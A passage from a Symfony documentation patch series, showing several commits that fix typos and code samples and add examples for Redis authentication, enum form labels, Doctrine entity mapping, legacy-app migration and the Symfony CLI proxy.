+            $security->login($user, 'form_login', 'other_firewall');
 
             // ... redirect the user to its account page for instance
         }

From 4cfa2ce3fa93f149499a1aa309790e11b93aa91c Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 9 Dec 2022 16:06:43 +0100
Subject: [PATCH 3963/7107] Add SensitiveParameter attribute in the security
 hardening list

---
 contributing/code/security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/security.rst b/contributing/code/security.rst
index 7aab51ff919..1d2468af388 100644
--- a/contributing/code/security.rst
+++ b/contributing/code/security.rst
@@ -22,8 +22,8 @@ email for confirmation):
   is set to ``true`` or ``APP_ENV`` set to anything but ``prod``);
 
 * Any fix that can be classified as **security hardening** like route
-  enumeration, login throttling bypasses, denial of service attacks, or timing
-  attacks.
+  enumeration, login throttling bypasses, denial of service attacks, timing
+  attacks, or lack of ``SensitiveParameter`` attributes.
 
 In any case, the core team has the final decision on which issues are
 considered security vulnerabilities.

From 1e0800b29487c1db59af74e1e9c87325e8d70921 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?=
 <1880467+jschaedl@users.noreply.github.com>
Date: Thu, 8 Dec 2022 22:32:09 +0100
Subject: [PATCH 3964/7107] Update link to HAL specification

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 1a478df6d0f..ee31efa0b12 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -424,4 +424,4 @@ take a look at how this bundle works.
 .. _`OpenAPI`: https://www.openapis.org
 .. _`GraphQL`: https://graphql.org
 .. _`JSON:API`: https://jsonapi.org
-.. _`HAL`: http://stateless.co/hal_specification.html
+.. _`HAL`: https://stateless.group/hal_specification.html

From c9aa4e5f34c244433b609e834c9fe33a9aca9fcf Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Sat, 10 Dec 2022 21:00:19 +0100
Subject: [PATCH 3965/7107] Fix typo in FQCN of deprecated security class

---
 security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index 9e615323bbe..d8fb76b7db2 100644
--- a/security.rst
+++ b/security.rst
@@ -1624,7 +1624,7 @@ Login Programmatically
 
     The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
     class was introduced in Symfony 6.2. Prior to 6.2, it was called
-    ``Symfony\Bundle\SecurityBundle\Security``.
+    ``Symfony\Component\Security\Core\Security``.
 
 .. versionadded:: 6.2
 
@@ -1794,7 +1794,7 @@ Logout programmatically
 
     The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
     class was introduced in Symfony 6.2. Prior to 6.2, it was called
-    ``Symfony\Bundle\SecurityBundle\Security``.
+    ``Symfony\Component\Security\Core\Security``.
 
 .. versionadded:: 6.2
 

From 086a347684788b22321f4d2dd7a34745b3a89e70 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 11 Dec 2022 11:02:07 +0100
Subject: [PATCH 3966/7107] Moving the new `env()` syntax upwards, to be shown
 as the preferred way

---
 configuration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index d1ae76084a1..4265c1419b2 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -646,9 +646,9 @@ This example shows how you could configure the database connection using an env
             $container->extension('doctrine', [
                 'dbal' => [
                     // by convention the env var names are always uppercase
-                    'url' => '%env(resolve:DATABASE_URL)%',
-                    // or
                     'url' => env('DATABASE_URL')->resolve(),
+                    // or
+                    'url' => '%env(resolve:DATABASE_URL)%',
                 ],
             ]);
         };

From 303c5cf6667fffa027ac8f7c98c4d822b2432ae1 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 12 Dec 2022 09:44:22 +0100
Subject: [PATCH 3967/7107] validator - add missing constraint when

---
 reference/constraints/map.rst.inc | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 9f8eb4b8c3f..f13a92f58ac 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -94,6 +94,7 @@ Other Constraints
 * :doc:`Compound </reference/constraints/Compound>`
 * :doc:`Callback </reference/constraints/Callback>`
 * :doc:`Expression </reference/constraints/Expression>`
+* :doc:`When </reference/constraints/When>`
 * :doc:`All </reference/constraints/All>`
 * :doc:`Valid </reference/constraints/Valid>`
 * :doc:`Traverse </reference/constraints/Traverse>`

From 99eecb6442150ca249a9495e371e28cff051ddf8 Mon Sep 17 00:00:00 2001
From: Jeff Zohrab <jzohrab@gmail.com>
Date: Tue, 6 Dec 2022 11:29:02 -0600
Subject: [PATCH 3968/7107] Simplify migration LegacyBridge example

---
 migration.rst | 69 +++++++++++++++++++++++++++++++++++----------------
 1 file changed, 48 insertions(+), 21 deletions(-)

diff --git a/migration.rst b/migration.rst
index b22ab90d893..c101d8e4146 100644
--- a/migration.rst
+++ b/migration.rst
@@ -275,16 +275,13 @@ could look something like this::
     $request = Request::createFromGlobals();
     $response = $kernel->handle($request);
 
-    /*
-     * LegacyBridge will take care of figuring out whether to boot up the
-     * existing application or to send the Symfony response back to the client.
-     */
-    $scriptFile = LegacyBridge::prepareLegacyScript($request, $response, __DIR__);
-    if ($scriptFile !== null) {
-        require $scriptFile;
-    } else {
+    if (false === $response->isNotFound()) {
+        // Symfony successfully handled the route.
         $response->send();
+    } else {
+        LegacyBridge::handleRequest($request, $response, __DIR__);
     }
+
     $kernel->terminate($request, $response);
 
 There are 2 major deviations from the original file:
@@ -297,10 +294,9 @@ Line 18
   it over. For instance, by replacing outdated or redundant libraries with
   Symfony components.
 
-Line 41 - 50
-  Instead of sending the Symfony response directly, a ``LegacyBridge`` is
-  called to decide whether the legacy application should be booted and used to
-  create the response instead.
+Line 41 - 46
+  If Symfony handled the response, it is sent; otherwise, the ``LegacyBridge``
+  handles the request.
 
 This legacy bridge is responsible for figuring out which file should be loaded
 in order to process the old application logic. This can either be a front
@@ -316,19 +312,50 @@ somewhat like this::
 
     class LegacyBridge
     {
-        public static function prepareLegacyScript(Request $request, Response $response, string $publicDirectory): ?string
+
+        /**
+         * Map the incoming request to the right file. This is the
+         * key function of the LegacyBridge.
+         *
+         * Sample code only. Your implementation will vary, depending on the
+         * architecture of the legacy code and how it's executed.
+         *
+         * If your mapping is complicated, you may want to write unit tests
+         * to verify your logic, hence this is public static.
+         */
+        public static function getLegacyScript(Request $request): string
         {
-            // If Symfony successfully handled the route, you do not have to do anything.
-            if (false === $response->isNotFound()) {
-                return null;
+            $requestPathInfo = $request->getPathInfo();
+            $legacyRoot = __DIR__ . '/../';
+
+            // Map a route to a legacy script:
+            if ($requestPathInfo == '/customer/') {
+                return "{$legacyRoot}src/customers/list.php";
             }
 
-            // Figure out how to map to the needed script file
-            // from the existing application and possibly (re-)set
-            // some env vars.
-            $legacyScriptFilename = ...;
+            // Map a direct file call, e.g. an ajax call:
+            if ($requestPathInfo == 'inc/ajax_cust_details.php') {
+                return "{$legacyRoot}inc/ajax_cust_details.php";
+            }
+
+            // ... etc.
+
+            throw new \Exception("Unhandled legacy mapping for $requestPathInfo");
+        }
+
+
+        public static function handleRequest(Request $request, Response $response, string $publicDirectory): ?string
+        {
+            $legacyScriptFilename = LegacyBridge::getLegacyScript($request);
+
+            // Possibly (re-)set some env vars (e.g. to handle forms
+            // posting to PHP_SELF):
+            $p = $request->getPathInfo();
+            $_SERVER['PHP_SELF'] = $p;
+            $_SERVER['SCRIPT_NAME'] = $p;
+            $_SERVER['SCRIPT_FILENAME'] = $legacyScriptFilename;
 
-            return $legacyScriptFilename;
+            require $legacyScriptFilename;
         }
     }
 

From 5f625b4695094c5e3a9f3e925158ffe1a9a91cdd Mon Sep 17 00:00:00 2001
From: Robin Willig <robin@dragonito.net>
Date: Thu, 8 Dec 2022 22:39:13 +0100
Subject: [PATCH 3969/7107] [Workflow] Some minor text optimizations

---
 workflow.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index ef6193d02c0..389231ba91a 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -1,7 +1,7 @@
 Workflow
 ========
 
-Using the Workflow component inside a Symfony application requires to know first
+Using the Workflow component inside a Symfony application requires knowing first
 some basic theory and concepts about workflows and state machines.
 :doc:`Read this article </workflow/workflow-and-state-machine>` for a quick overview.
 
@@ -29,8 +29,8 @@ Creating a Workflow
 -------------------
 
 A workflow is a process or a lifecycle that your objects go through. Each
-step or stage in the process is called a *place*. You do also define *transitions*
-to that describes the action to get from one place to another.
+step or stage in the process is called a *place*. You also define *transitions*,
+which describe the action needed to get from one place to another.
 
 .. image:: /_images/components/workflow/states_transitions.png
 
@@ -39,8 +39,8 @@ a ``Definition`` and a way to write the states to the objects (i.e. an
 instance of a :class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`.)
 
 Consider the following example for a blog post. A post can have these places:
-``draft``, ``reviewed``, ``rejected``, ``published``. You can define the workflow
-like this:
+``draft``, ``reviewed``, ``rejected``, ``published``. You could define the workflow as 
+follows:
 
 .. configuration-block::
 

From 3a35ff29c309a436fe3e06abff11bce7c231234e Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 12 Dec 2022 09:46:44 +0100
Subject: [PATCH 3970/7107] validator - replace expressionLanguageSyntax with
 new expressionSyntax

---
 reference/constraints.rst         | 1 -
 reference/constraints/map.rst.inc | 2 +-
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/constraints.rst b/reference/constraints.rst
index f3851bdb97a..4351081e630 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -14,7 +14,6 @@ Validation Constraints Reference
    constraints/Type
 
    constraints/Email
-   constraints/ExpressionLanguageSyntax (deprecated)
    constraints/ExpressionSyntax
    constraints/Length
    constraints/Url
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 9f8eb4b8c3f..f3d75554cb5 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -16,7 +16,7 @@ String Constraints
 ~~~~~~~~~~~~~~~~~~
 
 * :doc:`Email </reference/constraints/Email>`
-* :doc:`ExpressionLanguageSyntax </reference/constraints/ExpressionLanguageSyntax>`
+* :doc:`ExpressionSyntax </reference/constraints/ExpressionSyntax>`
 * :doc:`Length </reference/constraints/Length>`
 * :doc:`Url </reference/constraints/Url>`
 * :doc:`Regex </reference/constraints/Regex>`

From 5ce20ac4ab33a5ae4c6c747ddb6e1a3d9f8a1ab7 Mon Sep 17 00:00:00 2001
From: alex00ds <31631959+alex00ds@users.noreply.github.com>
Date: Tue, 13 Dec 2022 06:22:16 +0200
Subject: [PATCH 3971/7107] Update doctrine.rst

An example of MapEntity Options "exclude" have a wrong paragraph formatting (this is : when :: is expected).
An example of MapEntity Options "mapping" contains a property is not synced with a placeholder (there is no 'date' in the route).
---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index cd5806c4bbd..b75fdea7c87 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -768,7 +768,7 @@ control behavior:
 
         #[Route('/product/{category}/{slug}/comments/{comment_slug}')]
         public function show(
-            #[MapEntity(mapping: ['date' => 'date', 'slug' => 'slug'])]
+            #[MapEntity(mapping: ['category' => 'category', 'slug' => 'slug'])]
             Product $product
             #[MapEntity(mapping: ['comment_slug' => 'slug'])]
             Comment $comment
@@ -777,7 +777,7 @@ control behavior:
 
 ``exclude``
     Configures the properties that should be used in the ``findOneBy()``
-    method by *excluding* one or more properties so that not *all* are used:
+    method by *excluding* one or more properties so that not *all* are used::
 
         #[Route('/product/{slug}/{date}')]
         public function show(

From 700ae4a161669531c9fbe0a02acbc8a2371f3b99 Mon Sep 17 00:00:00 2001
From: Fernando Aguirre <ing.aguirrel@gmail.com>
Date: Mon, 21 Nov 2022 19:28:10 -0700
Subject: [PATCH 3972/7107] Update database.rst

When Redis has user and password to login, the data must be entered as an array ['user', 'password'], added as comment
---
 session/database.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/session/database.rst b/session/database.rst
index ba4642b7973..da2b6b070e1 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -50,6 +50,10 @@ First, define a Symfony service for the connection to the Redis server:
                     # uncomment the following if your Redis server requires a password
                     # - auth:
                     #     - '%env(REDIS_PASSWORD)%'
+                    
+                    # uncomment the following if your Redis server requires user and password (When user is not default)
+                    # - auth:
+                    #     - ['%env(REDIS_USER)%','%env(REDIS_PASSWORD)%']
 
     .. code-block:: xml
 

From f1c80b83722d5ac6a6c5e5fa81ecf6a3840a5bec Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 Dec 2022 16:26:52 +0100
Subject: [PATCH 3973/7107] Add the examples for XML and PHP config

---
 session/database.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index da2b6b070e1..de4d5213b81 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -51,7 +51,7 @@ First, define a Symfony service for the connection to the Redis server:
                     # - auth:
                     #     - '%env(REDIS_PASSWORD)%'
                     
-                    # uncomment the following if your Redis server requires user and password (When user is not default)
+                    # uncomment the following if your Redis server requires a user and a password (when user is not default)
                     # - auth:
                     #     - ['%env(REDIS_USER)%','%env(REDIS_PASSWORD)%']
 
@@ -74,6 +74,12 @@ First, define a Symfony service for the connection to the Redis server:
                     <call method="auth">
                         <argument>%env(REDIS_PASSWORD)%</argument>
                     </call> -->
+
+                    <!-- uncomment the following if your Redis server requires a user and a password (when user is not default):
+                    <call method="auth">
+                        <argument>%env(REDIS_USER)%</argument>
+                        <argument>%env(REDIS_PASSWORD)%</argument>
+                    </call> -->
                 </service>
             </services>
         </container>
@@ -87,6 +93,8 @@ First, define a Symfony service for the connection to the Redis server:
             ->addMethodCall('connect', ['%env(REDIS_HOST)%', '%env(int:REDIS_PORT)%'])
             // uncomment the following if your Redis server requires a password:
             // ->addMethodCall('auth', ['%env(REDIS_PASSWORD)%'])
+            // uncomment the following if your Redis server requires a user and a password (when user is not default):
+            // ->addMethodCall('auth', ['%env(REDIS_USER)%', '%env(REDIS_PASSWORD)%'])
         ;
 
 Now pass this ``\Redis`` connection as an argument of the service associated to the

From 65ece3e01e66e5231ae933b9d01a5e55b482ed16 Mon Sep 17 00:00:00 2001
From: Robin Brisa <robin.brisa@gmail.com>
Date: Wed, 10 Aug 2022 17:58:02 +0200
Subject: [PATCH 3974/7107] [Form] Example of customizing EnumType labels

Default behavior when creating a EnumType form element is that the choice labels displayed to the user are the enum names.

This PR adds an example of how to use a function inside an enum to return labels and how to bind this function to the form element.
---
 reference/forms/types/enum.rst | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index b2e960a21ec..4c9d3eeb8a5 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -56,6 +56,40 @@ This will display a ``<select>`` tag with the three possible values defined in
 the ``TextAlign`` enum. Use the `expanded`_ and `multiple`_ options to display
 these values as ``<input type="checkbox">`` or ``<input type="radio">``.
 
+Since the label displayed in the ``<select>`` options is the enum name, you might sometimes
+want more flexibility as PHP strongly restricts the usable characters for those.
+You could do this by implementing a function in your enum class which returns a label 
+or even a translation string for each possible enum::
+
+    // src/Config/TextAlign.php
+    namespace App\Config;
+
+    enum TextAlign: string
+    {
+        case Left = 'Left/Start aligned';
+        case Center = 'Center/Middle aligned';
+        case Right = 'Right/End aligned';
+        
+        public function label(): string
+        {
+            return match ($this) {
+                self::Left => 'text_align.left.label',
+                self::Center => 'text_align.center.label',
+                self::Right  => 'text_align.right.label',
+            };
+        }
+    }
+    
+You can then use the ``choice_label`` option of ``EnumType`` with a function that 
+returns the label::
+
+    ->add('textAlign', EnumType::class, [
+        'class' => TextAlign::class,
+        'choice_label' => static function (TextAlign $choice): string {
+            return $choice->label();
+        },
+    ])
+
 Field Options
 -------------
 

From c4de9761638cb441c025f1164d59856b6fe7be93 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 Dec 2022 17:29:38 +0100
Subject: [PATCH 3975/7107] Reword

---
 reference/forms/types/enum.rst | 44 ++++++++++------------------------
 1 file changed, 12 insertions(+), 32 deletions(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 4c9d3eeb8a5..2fa79d37a22 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -38,9 +38,9 @@ short) defined somewhere in your application. This enum has to be of type
 
     enum TextAlign: string
     {
-        case Left = 'Left/Start aligned';
-        case Center = 'Center/Middle aligned';
-        case Right = 'Right/End aligned';
+        case Left = 'Left aligned';
+        case Center = 'Center aligned';
+        case Right = 'Right aligned';
     }
 
 Instead of using the values of the enumeration in a ``choices`` option, the
@@ -56,39 +56,19 @@ This will display a ``<select>`` tag with the three possible values defined in
 the ``TextAlign`` enum. Use the `expanded`_ and `multiple`_ options to display
 these values as ``<input type="checkbox">`` or ``<input type="radio">``.
 
-Since the label displayed in the ``<select>`` options is the enum name, you might sometimes
-want more flexibility as PHP strongly restricts the usable characters for those.
-You could do this by implementing a function in your enum class which returns a label 
-or even a translation string for each possible enum::
-
-    // src/Config/TextAlign.php
-    namespace App\Config;
-
-    enum TextAlign: string
-    {
-        case Left = 'Left/Start aligned';
-        case Center = 'Center/Middle aligned';
-        case Right = 'Right/End aligned';
-        
-        public function label(): string
-        {
-            return match ($this) {
-                self::Left => 'text_align.left.label',
-                self::Center => 'text_align.center.label',
-                self::Right  => 'text_align.right.label',
-            };
-        }
-    }
-    
-You can then use the ``choice_label`` option of ``EnumType`` with a function that 
-returns the label::
+The label displayed in the ``<option>`` elements of the ``<select>`` is the enum
+name. PHP defines some strict rules for these names (e.g. they can't contain
+dots or spaces). If you need more flexibility for these labels, use the
+``choice_label`` option and define a function that returns the custom label::
 
     ->add('textAlign', EnumType::class, [
         'class' => TextAlign::class,
-        'choice_label' => static function (TextAlign $choice): string {
-            return $choice->label();
+        'choice_label' => match ($choice) {
+            TextAlign::Left => 'text_align.left.label',
+            TextAlign::Center => 'text_align.center.label',
+            TextAlign::Right  => 'text_align.right.label',
         },
-    ])
+    ]);
 
 Field Options
 -------------

From 02fc6fdde26598280ca0c5b0fdcef84984b1e8b9 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Wed, 14 Dec 2022 15:11:56 +0100
Subject: [PATCH 3976/7107] Symfony CLI: fix config directory path

---
 frontend/encore/dev-server.rst | 2 +-
 setup/symfony_server.rst       | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 6337a881471..52a4fa83b05 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -79,7 +79,7 @@ server SSL certificate:
     +         options.server = {
     +             type: 'https',
     +             options: {
-    +                 pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
+    +                 pfx: path.join(process.env.HOME, '.symfony5/certs/default.p12'),
     +             }
     +         }
     +     })
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b9cdb4c2850..38244ca9c31 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -254,7 +254,7 @@ domains work:
 
 .. tip::
 
-    If you prefer to use a different TLD, edit the ``~/.symfony/proxy.json``
+    If you prefer to use a different TLD, edit the ``~/.symfony5/proxy.json``
     file (where ``~`` means the path to your user directory) and change the
     value of the ``tld`` option from ``wip`` to any other TLD.
 

From 2c49be3705fe3681ae774a54f670ca3c97be6a97 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Wed, 14 Dec 2022 15:21:07 +0100
Subject: [PATCH 3977/7107] Symfony CLI: add wildcard local domain information

---
 setup/symfony_server.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b9cdb4c2850..d9a6de22930 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -232,6 +232,14 @@ new custom domain.
     Browse the http://127.0.0.1:7080 URL to get the full list of local project
     directories, their custom domains, and port numbers.
 
+You can also add a wildcard domain:
+
+.. code-block:: terminal
+
+    $ symfony proxy:domain:attach "*.my-domain"
+
+So it will match all subdomains like ``https://admin.my-domain.wip``, ``https://other.my-domain.wip``...
+
 When running console commands, add the ``https_proxy`` env var to make custom
 domains work:
 

From 771dac342f098ed08e9b7abe0b4bdb5b73378c64 Mon Sep 17 00:00:00 2001
From: kez <kerrialbeckettnewham@gmail.com>
Date: Wed, 14 Dec 2022 18:47:20 +0100
Subject: [PATCH 3978/7107] Fix/bootstrap turbo docs

---
 frontend/encore/bootstrap.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index a41475d8eec..561bef79dde 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -73,6 +73,25 @@ Now, require bootstrap from any of your JavaScript files:
         $('[data-toggle="popover"]').popover();
     });
 
+Using Bootstrap with Turbo
+---------------------------
+
+If you are using bootstrap with Turbo Drive, to allow your JavaScript to load on each page change,
+wrap the initialization in a ``turbo:load`` event listener:
+
+.. code-block:: javascript
+
+    // app.js
+
+    // this waits for Turbo Drive to load
+    document.addEventListener('turbo:load', function (e) {
+        // this enables bootstrap tooltips globally
+        let tooltipTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]'))
+        let tooltipList = tooltipTriggerList.map(function (tooltipTriggerEl) {
+            return new Tooltip(tooltipTriggerEl)
+        });
+    });
+
 Using other Bootstrap / jQuery Plugins
 --------------------------------------
 

From c7ef41e177e090902f2e8b4bc66ba176d4449196 Mon Sep 17 00:00:00 2001
From: Yohann Tilotti <contact@yneet.com>
Date: Thu, 15 Dec 2022 13:48:15 +0100
Subject: [PATCH 3979/7107] [Doctrine] Errors on EntityValueResolver exemple

---
 doctrine.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index b75fdea7c87..4f4c7fbc98b 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -733,7 +733,7 @@ This can also be used to help resolve multiple arguments::
 
     #[Route('/product/{id}/comments/{comment_id}')]
     public function show(
-        Product $product
+        Product $product,
         #[MapEntity(expr: 'repository.find(comment_id)')]
         Comment $comment
     ): Response {
@@ -755,9 +755,8 @@ control behavior:
 
         #[Route('/product/{product_id}')]
         public function show(
-            Product $product
             #[MapEntity(id: 'product_id')]
-            Comment $comment
+            Product $product
         ): Response {
         }
 
@@ -769,7 +768,7 @@ control behavior:
         #[Route('/product/{category}/{slug}/comments/{comment_slug}')]
         public function show(
             #[MapEntity(mapping: ['category' => 'category', 'slug' => 'slug'])]
-            Product $product
+            Product $product,
             #[MapEntity(mapping: ['comment_slug' => 'slug'])]
             Comment $comment
         ): Response {
@@ -782,7 +781,7 @@ control behavior:
         #[Route('/product/{slug}/{date}')]
         public function show(
             #[MapEntity(exclude: ['date'])]
-            Product $product
+            Product $product,
             \DateTime $date
         ): Response {
         }

From 15537d46957598a269622bf264cbd4005ea48216 Mon Sep 17 00:00:00 2001
From: Yohann Tilotti <contact@yneet.com>
Date: Fri, 16 Dec 2022 15:48:54 +0100
Subject: [PATCH 3980/7107] [Controller] Errors on namespace value_resolver

---
 controller/value_resolver.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index a8c01407368..33ad4671ca7 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -292,7 +292,7 @@ and adding a priority:
                 autowire: true
             # ...
 
-            App\ArgumentResolver\BookingIdValueResolver:
+            App\ValueResolver\BookingIdValueResolver:
                 tags:
                     - { name: controller.argument_value_resolver, priority: 150 }
 
@@ -310,7 +310,7 @@ and adding a priority:
                 <defaults autowire="true"/>
                 <!-- ... -->
 
-                <service id="App\ArgumentResolver\BookingIdValueResolver">
+                <service id="App\ValueResolver\BookingIdValueResolver">
                     <tag name="controller.argument_value_resolver" priority="150"/>
                 </service>
             </services>
@@ -322,7 +322,7 @@ and adding a priority:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\ArgumentResolver\BookingIdValueResolver;
+        use App\ValueResolver\BookingIdValueResolver;
 
         return static function (ContainerConfigurator $container) {
             $services = $configurator->services();

From 1ddc77ae5d1825646ffeaa184a5246ed517c06c6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Dec 2022 13:46:04 +0100
Subject: [PATCH 3981/7107] [VarDumper] Add support of named arguments to dd()
 and dump()

---
 templates.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/templates.rst b/templates.rst
index 88e8f50b0a5..86bade24a70 100644
--- a/templates.rst
+++ b/templates.rst
@@ -728,11 +728,19 @@ depending on your needs:
            and they are visible on the web page #}
         {{ dump(article) }}
 
+        {# optionally, use named arguments to display them as labels next to
+           the dumped contents #}
+        {{ dump(blog_posts: articles, user: app.user) }}
+
         <a href="/article/{{ article.slug }}">
             {{ article.title }}
         </a>
     {% endfor %}
 
+.. versionadded:: 6.3
+
+    The option to use named arguments in ``dump()`` was introduced in Symfony 6.3.
+
 To avoid leaking sensitive information, the ``dump()`` function/tag is only
 available in the ``dev`` and ``test`` :ref:`configuration environments <configuration-environments>`.
 If you try to use it in the ``prod`` environment, you will see a PHP error.

From 576df8523d87f8e5b3b6441e0957f1921a3c67f0 Mon Sep 17 00:00:00 2001
From: micter59 <micter2@free.fr>
Date: Thu, 15 Dec 2022 12:38:21 +0100
Subject: [PATCH 3982/7107] Update routing.rst

---
 routing.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/routing.rst b/routing.rst
index 9c07a7c66ec..91717399fd7 100644
--- a/routing.rst
+++ b/routing.rst
@@ -304,6 +304,13 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
     ``_method`` with the method to use (e.g. ``<input type="hidden" name="_method" value="PUT">``).
     If you create your forms with :doc:`Symfony Forms </forms>` this is done
     automatically for you.
+    Also note that ```framework.http_method_override``` needs to be set for this to work :
+    
+    .. code-block:: yaml
+    
+        # config/packages/framework.yaml
+        framework:
+            http_method_override: true
 
 .. _routing-matching-expressions:
 

From f9aaa152ae1d46bed50e73d829826aba827f0d53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Dec 2022 16:27:22 +0100
Subject: [PATCH 3983/7107] Tweak

---
 routing.rst | 10 ++--------
 1 file changed, 2 insertions(+), 8 deletions(-)

diff --git a/routing.rst b/routing.rst
index 91717399fd7..e65e7dde27f 100644
--- a/routing.rst
+++ b/routing.rst
@@ -303,14 +303,8 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
     route with a different method from an HTML form, add a hidden field called
     ``_method`` with the method to use (e.g. ``<input type="hidden" name="_method" value="PUT">``).
     If you create your forms with :doc:`Symfony Forms </forms>` this is done
-    automatically for you.
-    Also note that ```framework.http_method_override``` needs to be set for this to work :
-    
-    .. code-block:: yaml
-    
-        # config/packages/framework.yaml
-        framework:
-            http_method_override: true
+    automatically for you when the :ref:`framework.http_method_override <configuration-framework-http_method_override>`
+    option is ``true``.
 
 .. _routing-matching-expressions:
 

From 4717f04a3ff618ed480ad199fb8af38531096454 Mon Sep 17 00:00:00 2001
From: Warnar Boekkooi <warnar@boekkooi.net>
Date: Thu, 9 Jun 2022 16:19:13 +0200
Subject: [PATCH 3984/7107] Use SoapServer headers

While debugging the istio error `Error dispatching received data: http/1.1 protocol error: HPE_UNEXPECTED_CONTENT_LENGTH` we noticed that the error was [triggered](https://github.com/nodejs/http-parser/blob/e13b274/http_parser.c#L1442) because of a duplicated Content-Length headers being send by the PHP application.
After review we noticed that the header was send by both the SoapServer and the Symfony Response for this reason I decided to open this PR.
---
 controller/soap_web_service.rst | 24 ++++++++++++++++--------
 1 file changed, 16 insertions(+), 8 deletions(-)

diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 43224116704..a1d1cbeed34 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -66,24 +66,30 @@ can be retrieved via ``/soap?wsdl``::
 
     use App\Service\HelloService;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class HelloServiceController extends AbstractController
     {
         #[Route('/soap')]
-        public function index(HelloService $helloService)
+        public function index(HelloService $helloService, Request $request)
         {
             $soapServer = new \SoapServer('/path/to/hello.wsdl');
             $soapServer->setObject($helloService);
 
             $response = new Response();
-            $response->headers->set('Content-Type', 'text/xml; charset=ISO-8859-1');
 
             ob_start();
-            $soapServer->handle();
+            $soapServer->handle($request->getContent());
             $response->setContent(ob_get_clean());
 
